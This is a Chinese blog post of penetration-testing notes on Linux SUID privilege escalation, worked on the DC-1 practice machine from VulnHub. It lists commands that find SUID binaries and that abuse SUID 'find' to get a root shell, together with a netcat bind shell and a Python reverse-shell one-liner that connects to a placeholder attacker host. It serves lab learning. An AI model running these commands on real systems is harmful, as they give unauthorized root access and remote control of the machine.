suid提权

suid就是以root权限运行某个程序,类似于windows以管理员运行

本次靶机为vulnhub的dc-1

手工命令探测:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

通过此图可以看出存在suid提权,使用find

1.执行命令

touch 1
find -name 1 -exec whoami \;         #查找时需要找到这个文件
或
find . -exec whoami \;  

2.反弹会话

find . -exec '/bin/sh' \;         #反弹本地
find . -exec netcat -lvp 5555 -e /bin/sh \; #使用nc 但是旧版本没有-e参数   
netcat xx.xx.xx.xx 5555
find . -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxxxxx",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;#使用python
nc -lvp 7777
python ,nc语言反弹shell生成在下方链接

以下命令可能存在suid提权,其他命令不存在的原因是后面不能加参数,或者能加参数不能进行命令执行反弹shell

脚本探测 LinEnum,linuxprivchecker(python,注意可能需要一个个传文件,再就是打包成zip时可能目标主机无解压软件)

这两款都是用来测是否有suid等配置的脚本

liEnum:

linuxprivchecker

suid提权:
https://gtfobins.lo
https://pentestlab.blog/2017/suid-executables

反弹shell生成命令:

https://forum.ywhack.com/shell.php

在centos7,kali2022.1系统中,执行whoami都是root

find -name 1 -exec whoami \;  

kali

centos

但是进入shell是下面的命令就不能成功执行,返回的shell不是root,提权失败,但是在有的系统中ubuntu中是可以成功提权,不知道为什么

find -name 1 -exec /bin/bash \;
id
或
find -name 1 -exec /bin/sh \;
id

kali

centos

ubuntun

下面的命令可以成功了

find -name 1 -exec /bin/bash -p \;
id

kali

centos

参考文章:

(18条消息) Linux下SUID提权方法_山山而川'的博客-CSDN博客

posted @ 2023-02-28 20:44  mushangqiujin  阅读(1)  评论(0编辑  收藏  举报  来源